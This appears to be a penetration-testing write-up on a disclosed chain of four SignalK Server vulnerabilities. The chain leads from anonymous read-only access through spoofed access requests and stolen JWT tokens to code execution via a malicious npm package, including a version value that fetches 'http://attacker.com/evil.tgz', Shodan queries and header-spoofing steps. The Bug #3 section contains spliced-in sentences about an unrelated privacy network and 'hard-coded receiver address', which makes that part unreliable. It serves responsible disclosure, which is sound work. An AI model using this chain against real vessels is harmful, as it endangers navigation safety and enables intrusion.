|
Unit 13 Field Report. Technical analysis by ThreatScene's Unit 13 - Red Team. |
Introduction
During a penetration test on a maritime vessel, we identified SignalK Server instances running on the ship’s
network. SignalK is an open-source data hub that aggregates and distributes sensor data from various marine
electronics-GPS, autopilots, AIS, engine monitors, and other NMEA 0183/2000 devices.
We conducted a security audit of the codebase and discovered four vulnerabilities that chain together to
achieve unauthenticated remote code execution. We were credited with three CVEs (CVE-2025-69203, CVE-
2025-68620, CVE-2025-68619). One additional vulnerability we identified (CVE-2025-68273) was reported by the
SignalK development team itself shortly before our submission.
This post details the complete attack chain:

The attack requires a single admin approval to compromise and take full control of the server.
What is SignalK and Why Should You Care?
Technical Overview

SignalK Server is an open-source Node.js application that provides protocol translation and data aggregation
for maritime electronics. It normalizes data from multiple protocols (NMEA 0183, NMEA 2000, SeaTalk) into a
unified JSON format accessible via REST API and WebSocket streams.
It implements real-time data streaming via WebSockets, a RESTful API for accessing vessel data, a plugin
ecosystem for extending functionality, web-based admin interface for configuration, multi-protocol support
(NMEA 0183/2000, Signal K, etc.), and remote monitoring capabilities.
Safety-Critical Infrastructure
SignalK integrates with safety-critical maritime systems, including autopilot systems (Pypilot,
Raymarine, Garmin) that can rely on SignalK data to steer the vessel, AIS (Automatic Identification
System) for broadcasting vessel position to prevent collisions, navigation displays showing
real-time position, depth, and hazards, engine monitoring systems tracking critical parameters, and
alarm systems that alert the crew to dangerous conditions.
It is predominantly used on smaller private vessels, recreational boats, and yachts rather than as
the primary navigation system on commercial vessels. Maritime regulations such as SOLAS (Safety of
Life at Sea), IMO Performance Standards, and flag state requirements mandate type-approved,
certified navigation equipment for commercial vessels. These regulations (including IMO Resolution
MSC.232(82) for integrated navigation systems and SOLAS Chapter V Regulation 19 for carriage
requirements) effectively exclude non-type-approved systems as primary navigation equipment on
vessels engaged in international voyages or commercial operations. Open-source solutions like
SignalK typically lack the formal type-approval and certification required for compliance.
However, in the case of the vessel we tested, SignalK had been integrated into some navigation
workflows, a configuration that, while uncommon, demonstrates the real-world security implications
when such systems are deployed beyond their typical use case. Even on private vessels where SignalK
is commonly deployed, a compromise could have serious safety consequences.
A compromised SignalK instance could enable autopilot manipulation to alter vessel course, AIS
message spoofing to create phantom vessels, GPS coordinate injection into navigation systems, depth
sounder data tampering, and engine shutdown commands via NMEA 2000.
Internet Exposure
We surveyed internet-exposed SignalK instances using Shodan and FOFA.

Search queries identified 500-700 publicly accessible instances worldwide:
Shodan:
http.title:"Signal K Server"
FOFA:
"Signal K Server"

A good portion of these instances run with no authentication enabled, which enables an attacker to
completely skip the first three steps of the attack chain, going straight for remote code execution.
The default configuration ships with allow_readonly: true, granting anonymous users read access to all
data. Many administrators don’t change this setting, assuming readonly access is safe.
Readonly access is the initial vector in our attack chain, leading to full system compromise.
The Bug Chain
We discovered four vulnerabilities that, when chained together, allow an unauthenticated attacker to achieve
remote code execution on SignalK Server. Let’s break them down one by one.
Bug #1: Information Disclosure via Default Configuration
CVE-2025-68273 | GitHub Advisory
CVSS Score: 5.3 (Moderate)
SignalK Server ships with allow_readonly: true enabled by default. When enabled, the authentication middleware automatically grants anonymous users a principal with read-only permissions without requiring
credentials. This exposes sensitive endpoints:
/signalk/v1/api/sources– Lists all connected devices and their identifiers/signalk/v1/api/vessels– Vessel information (name, MMSI, callsign)/signalk/v1/api/– Real-time GPS coordinates and navigation data/skServer/loginStatus– Security configuration details

Code Analysis
The vulnerability lives in src/tokensecurity.js . Here’s the problematic code:

When allow_readonly is true and the request isn’t checking login status, the middleware creates an
anonymous principal with readonly permissions, sets req.skIsAuthenticated = true , and calls next() to
continue processing. No authentication is performed.
Impact
- Device enumeration reveals the exact hardware connected to the vessel (GPS units, autopilots,
sensors) - Vessel identification (MMSI, callsign) enables targeted attacks
- Real-time GPS tracking allows physical monitoring of vessel location
- Device identifiers are crucial for the next vulnerability in our chain
Device identifiers are critical for the next vulnerability in the chain. An attacker needs legitimate device names
to craft convincing spoofed access requests that administrators will approve.
Bug #2: Access Request Spoofing (Permission Mismatch +
IP Spoofing)
CVE-2025-69203 | GitHub Advisory
CVSS Score: 6.3 (Moderate)
SignalK implements an access request system where devices request permission to connect. Administrators
receive notifications and can approve or deny requests. The implementation has two security flaws:
Problem 1: Permission Mismatch
When a device creates an access request, it sends three fields:
clientId– The device identifierdescription– A human-readable description shown to the adminpermissions– The actual permission level being requested
The admin UI prominently displays the description and Origin IP address on the collapsed table element
while the permissions field is less visible. An attacker can request admin permissions while providing a
description like “GPS Sensor – Read Only Access”. Administrators reviewing the description may approve the
request without noticing the elevated permission level. Additionally, it is easy to spoof the name of an existing
devices since we have access to the device names from Bug #1.
Problem 2: IP Address Spoofing
The access request handler trusts the X-Forwarded-For HTTP header to determine the client’s IP address
without validation. While this header is intended for reverse proxies to preserve the original client IP, SignalK
trusts it unconditionally.
An attacker can set X-Forwarded-For: 192.168.1.100 to make their request appear to originate from a
trusted internal IP. Combined with a legitimate device name (obtained from Bug #1), this can create a
convincing spoof.

Code Analysis
Let’s look at the vulnerable code in src/tokensecurity.js :

The code accepts client-supplied values without validation. The permissions field is taken directly from the
request body, and the IP address prioritizes X-Forwarded-For over the actual connection address.
The admin UI code in packages/server-admin-ui/src/views/security/AccessRequests.js renders the
description prominently but doesn’t visually emphasize the permission level, making it easy for admins to miss
the discrepancy.
Bug #3: JWT Token Theft via WebSocket Enumeration
CVE-2025-68620 | GitHub Advisory
CVSS Score: 9.1 (Critical)
The client communicates with a privacy network that resembles the Session/Oxen architecture. It first retrieves the list of service nodes via the proxy, then obtains the responsible swarm list for both the victim’s address and a hard-coded receiver address.
This vulnerability enables full authentication bypass without requiring any credentials.
SignalK exposes a WebSocket endpoint for real-time data streaming. Connecting with the serverevents=all
query parameter causes the server to send all cached server events, including ACCESS_REQUEST events
containing:
The receiver is defined as:
- Request IDs
- Client identifiers
- Descriptions
- Requested permissions
- IP addresses
The access request status endpoint at /signalk/v1/access/requests/:id returns the full state of an access
request without requiring authentication. When an administrator approves a request, the response
includes the JWT token in plaintext.
Unauthenticated users can poll access request status and retrieve any JWT tokens.

Code Analysis
The vulnerability exists in multiple places. First, let’s look at the WebSocket event broadcasting insrc/events.ts :

This code iterates over all cached server events and writes them to any connected WebSocket client without
permission checks or authentication requirements.
The access request details come from src/tokensecurity.js :

This returns all pending requests with full details, which then get broadcast as server events.
When an access request is approved, the token is included in the response via src/requestResponse.js:

The REST endpoint at /signalk/v1/access/requests/:id uses readonly authentication, which means
unauthenticated users can access it when allow_readonly is true.

Attack Scenarios
An attacker has two paths to exploit this:
Path 1: Steal Your Own Token
- Create a spoofed access request (using Bug #2)
- Connect to WebSocket to get the request ID
- Poll the status endpoint
- Wait for admin approval
- Receive admin JWT token
Path 2: Hijack Legitimate Device Tokens
- Connect to WebSocket and monitor for ACCESS_REQUEST events
- Discover request IDs from legitimate devices
- Poll those request IDs
- Steal tokens when admins approve legitimate requests
- Impersonate legitimate devices
Both paths require zero authentication and result in complete authentication bypass.

Bug #4: Remote Code Execution via Malicious npm Package
CVE-2025-68619 | GitHub Advisory
CVSS Score: 7.3 (High)
With an admin JWT token, we can now achieve remote code execution.
SignalK provides an appstore feature allowing administrators to install plugins and webapps through the UI.
This functionality calls an API endpoint that installs npm packages. The endpoint validates that the package
name exists in the npm registry, but the version parameter accepts arbitrary npm version specifiers.
npm is incredibly flexible about where it installs packages from, It doesn’t just accept standard semantic
versions like 1.0.0. By injecting version specifiers that don’t follow the traditional format, we can force npm
to install packages from attacker-controlled sources instead of the npm registry.
When npm installs a package, it automatically executes any postinstall script defined in package.json. This
is intended functionality for building native modules and setting up dependencies, but it enables arbitrary
code execution.

Code Analysis
The vulnerability exists in src/interfaces/appstore.js:

The version parameter is passed directly to the npm installation function without any sanitization. Let’s look atsrc/modules.ts:

The code constructs packageString as name@version and passes it directly to npm without validation or
sanitization, meaning we can easily escape the traditional version format and inject our own arbitrary data. Ifversion is http://attacker.com/evil.tgz, npm will download and install it.
There is also an obvious command injection vulnerability in this code snippet that will only work if the server is
running on windows. This vulnerability was also reported by the SignalK team before we reported it.
Exploitation Methods
The vulnerability can be exploited using any of npm’s flexible version specifier formats:
1. Real npm Package with Required Keyword

Publishing a malicious package to the official npm registry with the signalk-node-server-plugin orsignalk-webapp keyword allows us to install arbitrary npm packages using standard semantic versioning
format ( 1.0.0 ). This is non-stealthy as the package is publicly visible, but can be leveraged to spread malware
via npm’s ecosystem, since such a package will show up on the webapp feed and other users might install it.
2. Real npm Package via npm Alias

The npm: prefix allows installing a package under a different name. For example, npm:maliciouspackage@ installs
1.0.0malicious-package but references it as if it were the legitimate signalk-pushoverplugin
. This obscures the actual package being installed from casual inspection, making it stealthier while still
requiring npm publishing.
3. Package Hosted on GitHub (GitHub Shorthand)

The format username/repo (URL-encoded as attacker%2Fmalicious-plugin ) is shorthand forgithub:username/repo. npm automatically fetches the repository from GitHub, extracts it, and runs npm. If the repo contains a
installpostinstall script, it executes. The repository must contain a validpackage.json with the malicious script.
4. Package Hosted on Attacker-Controlled Git Server (git+ Protocol)

The git+https:// or git+ssh:// prefix tells npm to clone a git repository. This works with any git server, not
just GitHub. The attacker has full control over the repository contents and can update it at any time. This
provides maximum control over the package source without relying on third-party services.
5. Package Hosted on Attacker Webserver as Tarball

The http:// or https:// URL pointing to a .tgz file tells npm to download and extract the tarball. This is
the most flexible method as it requires no external service dependencies – the attacker controls both the
package contents and the hosting infrastructure. No git repository or npm registry account needed.
6. Package Hosted on Local Filesystem (file:// Protocol)

The file:// prefix allows npm to install a package from the local filesystem. This can be leveraged as an RCE
primitive in the case arbitrary file write on the system is present.
All methods result in npm executing the postinstall script from the attacker-controlled package.
Creating a Malicious Package
A malicious npm package requires only two files:
package.json:

The postinstall script executes automatically after npm installs the package. You can run any command
here.
index.js:

This minimal plugin implementation prevents errors when SignalK tries to load the plugin.
Demonstration
Attack Flow Diagram

Video PoC
The video demonstrates:
- Enumerating devices without authentication
- Creating a spoofed access request
- Monitoring WebSocket for the request ID
- Admin approving the request (one click)
- Stealing the JWT token
- Achieving RCE via a malicious npm package
Timeline and Disclosure
We discovered these vulnerabilities during our security audit in 2025. Here’s how the disclosure process went:
- 20/12/2025: Responsible disclosure to SignalK maintainers
- 21/12/2025: SignalK team confirms vulnerabilities
- 02/01/2026: Patches released in SignalK Server version v2.19.1
- 02/01/2026: Public disclosure on GitHub advisories
Conclusion
This bug chain demonstrates the importance of defense in depth in the maritime technology space. Each
individual vulnerability appears minor in isolation:
- Information disclosure exposes device names
- IP spoofing relies on administrator oversight
- Token polling serves legitimate devices
- npm installation is intended functionality
Chained together, these vulnerabilities enable complete remote takeover of a safety-critical maritime system.
The SignalK team responded quickly and professionally to our disclosure, releasing patches and working with
us throughout the process. The broader lesson for the maritime technology community is that security cannot
be an afterthought.
As vessels become increasingly connected and automated, the attack surface expands. A single
misconfiguration (allowing readonly access) can be the initial vector in a chain leading to full system
compromise.
Final Thoughts
This research highlights the importance of security auditing in the maritime technology space. Our goal as
UNIT 13 is to identify and remediate vulnerabilities before malicious actors can exploit them.
For SignalK Server operators: update immediately. Vessel safety depends on it.
Disclaimer: This research was conducted ethically with responsible disclosure to the SignalK team.
If you have questions about this research, feel free to reach out to us at [email protected]


